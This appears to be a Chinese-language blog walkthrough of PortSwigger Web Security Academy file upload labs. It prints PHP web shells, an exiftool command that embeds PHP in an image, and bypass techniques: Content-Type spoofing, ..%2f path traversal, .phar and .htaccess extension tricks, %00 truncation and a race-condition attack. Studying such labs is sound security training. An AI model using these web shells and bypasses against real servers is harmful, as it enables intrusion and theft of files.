Burp Web Academy 文件上传漏洞
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的文件上传漏洞(File Upload Vulnerabilities)章节。
0x02. 文件上传漏洞
2.1 Lab: Remote code execution via web shell upload
This lab contains a vulnerable image upload function. It doesn’t perform any validation on the files users upload before storing them on the server’s filesystem.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
登陆后可以上传头像,上传一个 PHP 文件:
1 | echo file_get_contents('/home/carlos/secret'); |
或者上传更灵活的 PHP 代码:
1 | echo file_get_contents($_GET['file']); |
访问 /files/avatars/webshell.php?file=/home/carlos/secret
即可得到答案。
2.2 Lab: Web shell upload via Content-Type restriction bypass
This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
根据提示,校验是通过 POST 请求中的文件类型来操作的,所以可以直接将 application/octet-stream
跟改为 image/jpeg
。
1 | ------WebKitFormBoundaryI7tIECSh3IJ0hdML |
访问 /files/avatars/webshell.php?file=/home/carlos/secret
即可得到答案。
2.3 Lab: Web shell upload via path traversal
This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied files, but this restriction can be bypassed by exploiting a secondary vulnerability.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
直接上传 WebShell,但是访问 /files/avatars/webshell.php
时直接返回了 PHP 文件的内容。根据提示,要通过路径穿越来绕过执行限制。
把 POST 请求包中的 filename
修改为 ..%2fwebshell.php
实现路径穿越,之后,访问 /files/webshell.php?file=/home/carlos/secret
读取文件。
1 | POST /my-account/avatar |
这道题参考了官方答案,步骤如下:
- 先尝试
../webshell.php
,提示The file avatars/webshell.php has been uploaded
,说明../
被清理掉了 - 而如果改成
..%2fwebshell.php
,则提示The file avatars/../webshell.php has been uploaded
,说明../
已经传递过去 - 正常的头像存放路径是
/files/avatars/webshell.php
,因此直接访问/files/webshell.php
即可
2.4 Lab: Web shell upload via extension blacklist bypass
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
存在扩展名黑名单,问问 Copilot PHP 服务器支持哪些扩展名:
Question: What file extensions are supported by the PHP server?
Answer: When it comes to PHP servers, they usually support a variety of file extensions. The most common ones include:
.php: The standard extension for PHP files.
.php3, .php4, .php5, .php7: Older versions of PHP extensions, typically tied to specific PHP versions.
.phtml: Another alternative extension for PHP files.
.phar: For PHP archive files.
测试发现 .phar
可以绕过黑名单限制,并且可以正常执行 WebShell 代码,然而看提示的时候发现这看起来是一个非预期的解法 :-D
题目本身的解法是:上传 PHP 时 HTTP Response Header 里面 Server: Apache/2.4.41 (Ubuntu)
泄露了服务器的类型和版本。
1 | 403 Forbidden |
首先,上传 .htaccess
文件,注意文件名、文件类型、文件内容。
1 | POST /my-account/avatar |
之后,重新上传 WebShell,但是扩展名改为上面的 .l33t
,之后访问 /files/avatars/webshell.l33t?file=/home/carlos/secret
获取文件内容。
2.5 Lab: Web shell upload via obfuscated file extension
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
题目提示扩展名混淆,尝试 filename="webshell.php%00.png"
实现绕过,这一解法在 Burp Web Academy 路径穿越 中出现过。
2.6 Lab: Remote code execution via polyglot web shell upload
This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
提示会检查是不是真实的图片文件,应该是检查文件内容了,比如 Magic Number 等等。
题目的解法是使用 exiftool
工具来添加 Exif 评论信息:
1 | exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" shell.jpg -o shell.php |
在 Windows 下,直接通过文件属性来添加,测试效果;
- 备注:不可行
- 标题:可行
- 主题:不可行
2.7 Lab: Web shell upload via race condition
This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret
. Submit this secret using the button provided in the lab banner.You can log in to your own account using the following credentials:
wiener:peter
条件竞争漏洞(Race Condition)的利用,看了下题解,后台逻辑可能是:
- 上传文件后写入磁盘
- 检查文件内容
- 不合法则删除,合法则保留
因为不涉及到文件的移动(比如先上传到不可执行的位置,检查通过后再移动到目标位置),所以存在条件竞争问题,即上传之后、删除之前立即访问文件,实现时间窗口内的代码执行。
可以先用 Burp 抓包,然后自己写 Python 来做条件竞争,也可以直接在 Burp 中实现,属于高级功能了 :-D
按照官方 Solution,先从 BApp Store 安装 Turbo Intruder:在 Burp 中切换到 Extender
Tab 页,再切换到 BApp Store
子 Tab 页,搜索和安装 Turbo Intruder
,然而最新版本的插件并不支持在 burpsuite_pro_v2022.9.jar 安装,提示需要最新的 Burp Suite。尝试去 Releases · PortSwigger/turbo-intruder 下载一个老版本的插件,可以成功安装!
利用步骤:
- 上传 WebShell 到头像,产生一个 POST 请求
- 访问头像,产生一个 GET 请求(可以先上传一个正常的头像,这样可以知道头像的 URL)
- 选中 POST 请求,右键
Extensions > Turbo Intruder > Send to turbo intruder
弹出 Turbo Intruder 窗口
几个需要注意的点:
- HTTP Request Header 行之间使用
\r\n
分割 - HTTP GET 请求末尾需要有两个
\r\n
- HTTP POST 后面 Body 末尾数据保持原样(GET 是 RFC 规范请求头最后一行必须是两个
\r\n
,而 POST 末尾已经是发送的数据了) - 如果 Turbo Intruder 发送请求后收到服务器返回
"Protocol error"
,那么可以试试把 HTTP 协议的版本从HTTP/2
改为HTTP/1.1
,这里卡了好久,因为 GitHub 下载的 Turbo Intruder 插件是Aug 21, 2020
发布的,可能和版本太老有关系
完整的 Turbo Intruder 脚本代码:
1 | def queueRequests(target, wordlists): |
0x03. 小结
- 如果在上传文件时没有任何限制,则可以直接上传 WebShell
- 当然,也需要上传后的文件具备可执行权限
- 修改
Content-Type
绕过文件类型校验 - 基于
filename
触发漏洞,比如路径穿越漏洞、命令注入漏洞等,需要根据实际情况进行额外的绕过(比如%2f
替代/
) - 扩展名黑名单可能不全,比如
.php
可以使用.phar
代替 - Apache
.htaccess
利用,可参考先知社区文章:Apache的.htaccess利用技巧 - 利用
%00
截断字符串,从而实现扩展名黑名单绕过 - 使用
exiftool
来为 JPG 图片写入 PHP 代码,PHP 服务器自身的容错性可以使得代码被执行- 也可以考虑直接在 Windows 使用资源管理器写入信息,但字段需要自行测试
- BApp Store 插件安装,以及 Turbo Intruder 实现条件竞争,以及注意事项
- 注意处理好 GET 和 POST 请求中的
\r\n
- 如果服务器返回
"Protocol error"
,可以尝试把 HTTP 协议的版本从HTTP/2
改为HTTP/1.1
- 注意处理好 GET 和 POST 请求中的